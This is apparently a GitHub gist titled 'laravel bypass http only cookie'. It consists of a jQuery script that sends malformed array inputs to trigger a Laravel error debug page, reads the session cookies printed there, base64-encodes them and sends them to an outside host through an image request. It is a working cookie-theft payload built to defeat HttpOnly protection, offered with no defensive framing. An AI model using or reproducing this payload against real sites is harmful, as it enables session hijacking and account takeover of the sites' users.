Skip to content

Instantly share code, notes, and snippets.

@numanturle
Last active December 30, 2024 11:45
Show Gist options
  • Select an option

  • Save numanturle/80faab01fb767841db81fe4c98587fdc to your computer and use it in GitHub Desktop.

Select an option

Save numanturle/80faab01fb767841db81fe4c98587fdc to your computer and use it in GitHub Desktop.
laravel bypass http only cookie
$( document ).ready(function() {
$.ajax({
url:"/asd",
method:"POST",
async:true,
xhr: function() {
var xhr = jQuery.ajaxSettings.xhr();
var setRequestHeader = xhr.setRequestHeader;
xhr.setRequestHeader = function(name, value) {
if (name == 'X-Requested-With') return;
setRequestHeader.call(this, name, value);
}
return xhr;
},
data:{'_token': $( "input[name*='token']" ).val(),'email[]': [ "abc"],'password[]': [ "abc"]} ,
error:function(xhr, textStatus){
if (xhr.state() == "rejected")
{
var parsed = $.parseHTML(xhr.responseText);
var cookie_v = encodeURIComponent(btoa($.trim($(parsed).find("#sg-cookies").text()).replace(/ /g,'').replace(/^\s*[\r\n]/gm, '')))
a=new/**/Image();a.src='https://www.asd.com/5.php?'+escape(cookie_v);
}
}
});
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment